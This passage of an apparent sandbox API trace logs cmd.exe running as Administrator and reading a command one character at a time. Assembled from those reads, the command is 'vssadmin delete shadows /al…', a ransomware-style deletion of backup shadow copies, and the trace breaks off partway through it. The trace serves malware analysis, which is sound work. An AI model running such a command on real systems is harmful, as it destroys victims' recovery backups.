lpExitCode=0xa1288fefe8*=0x0) returned 1 [0140.475] CloseHandle (hObject=0x98) returned 1 [0140.475] _vsnwprintf (in: _Buffer=0xa1288ff1b8, _BufferCount=0x13, _Format="%08X", _ArgList=0xa1288feff8 | out: _Buffer="00000000") returned 8 [0140.475] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0140.475] GetProcessHeap () returned 0x1d64a970000 [0140.475] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a989520) returned 1 [0140.476] GetEnvironmentStringsW () returned 0x1d64a989520* [0140.476] GetProcessHeap () returned 0x1d64a970000 [0140.476] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0xaf2) returned 0x1d64a98a020 [0140.476] FreeEnvironmentStringsA (penv="=") returned 1 [0140.476] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0140.476] GetProcessHeap () returned 0x1d64a970000 [0140.476] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a98a020) returned 1 [0140.476] GetEnvironmentStringsW () returned 0x1d64a989520* [0140.477] GetProcessHeap () returned 0x1d64a970000 [0140.477] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0xaf2) returned 0x1d64a98a020 [0140.477] FreeEnvironmentStringsA (penv="=") returned 1 [0140.477] GetProcessHeap () returned 0x1d64a970000 [0140.477] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a976e90) returned 1 [0140.477] DeleteProcThreadAttributeList (in: lpAttributeList=0xa1288ff170 | out: lpAttributeList=0xa1288ff170) [0140.477] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0140.495] ??_V@YAXPEAX@Z () returned 0x1 [0140.495] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0140.495] SetConsoleMode (hConsoleHandle=0xfa0, dwMode=0x0) returned 0 [0140.495] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0140.495] GetConsoleMode (in: hConsoleHandle=0xfa0, lpMode=0x7ff72b9efc08 | out: lpMode=0x7ff72b9efc08) returned 0 [0140.495] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.495] GetConsoleMode (in: hConsoleHandle=0xf94, lpMode=0x7ff72b9efc0c | out: lpMode=0x7ff72b9efc0c) returned 0 [0140.495] GetConsoleOutputCP () returned 0x4e3 [0140.533] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff72b9efbb0 | out: lpCPInfo=0x7ff72b9efbb0) returned 1 [0140.533] SetThreadUILanguage (LangId=0x0) returned 0x409 [0140.617] GetProcessHeap () returned 0x1d64a970000 [0140.617] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a976e00) returned 1 [0140.617] GetProcessHeap () returned 0x1d64a970000 [0140.617] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a989030) returned 1 [0140.617] GetProcessHeap () returned 0x1d64a970000 [0140.617] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a976c30) returned 1 [0140.617] GetProcessHeap () returned 0x1d64a970000 [0140.617] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a988fd0) returned 1 [0140.617] GetProcessHeap () returned 0x1d64a970000 [0140.618] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a9783e0) returned 1 [0140.618] GetProcessHeap () returned 0x1d64a970000 [0140.618] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a978fe0) returned 1 [0140.618] GetProcessHeap () returned 0x1d64a970000 [0140.618] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a971850) returned 1 [0140.618] GetProcessHeap () returned 0x1d64a970000 [0140.618] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a976a80) returned 1 [0140.618] GetProcessHeap () returned 0x1d64a970000 [0140.618] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a978320) returned 1 [0140.618] _vsnwprintf (in: _Buffer=0x7ff72b9f7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xa1288ff598 | out: _Buffer="\r\n") returned 2 [0140.618] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0140.618] GetFileType (hFile=0xfa0) returned 0x3 [0140.618] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0140.618] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0140.618] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff72b9e9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xa1288ff568, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesWritten=0xa1288ff568*=0x2, lpOverlapped=0x0) returned 1 [0140.618] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff72b9ebb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0140.619] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1d64ab70080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0140.619] _vsnwprintf (in: _Buffer=0x1d64ab80060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xa1288ff5a8 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0140.619] _vsnwprintf (in: _Buffer=0x1d64ab8008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0xa1288ff5a8 | out: _Buffer=">") returned 1 [0140.619] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0140.619] GetFileType (hFile=0xfa0) returned 0x3 [0140.619] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0140.619] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0140.619] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff72b9e9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xa1288ff598, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesWritten=0xa1288ff598*=0x18, lpOverlapped=0x0) returned 1 [0140.619] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.619] GetFileType (hFile=0xf94) returned 0x3 [0140.619] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.619] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.619] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.619] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0140.619] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.619] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.619] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.619] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0140.619] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.619] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.619] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.620] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0140.620] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.620] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.620] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.620] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0140.620] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.620] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.620] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.620] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0140.620] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.620] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.620] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.620] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0140.620] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.620] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.620] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.620] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0140.620] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.620] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.620] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.620] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0140.620] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.620] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.620] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.621] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0140.621] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.621] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.621] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.621] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0140.621] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.621] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.621] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.621] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0140.621] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.621] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.621] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.621] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0140.621] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.621] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.621] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.621] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0140.621] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.621] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.621] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.621] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0140.621] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.621] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.622] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.622] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0140.622] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.622] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.622] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.622] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0140.622] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.622] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.622] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.622] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0140.622] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.622] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.622] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.622] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0140.622] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.622] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.622] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.622] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0140.622] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.622] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.622] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.622] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0140.622] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.622] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.623] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.623] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0140.623] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.623] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.623] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.623] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0140.623] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.623] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.623] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.623] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0140.623] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.623] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.623] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.623] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0140.623] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.623] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.623] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.623] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0140.623] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.623] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.623] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.623] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0140.623] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.623] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.624] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.624] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0140.624] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.624] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 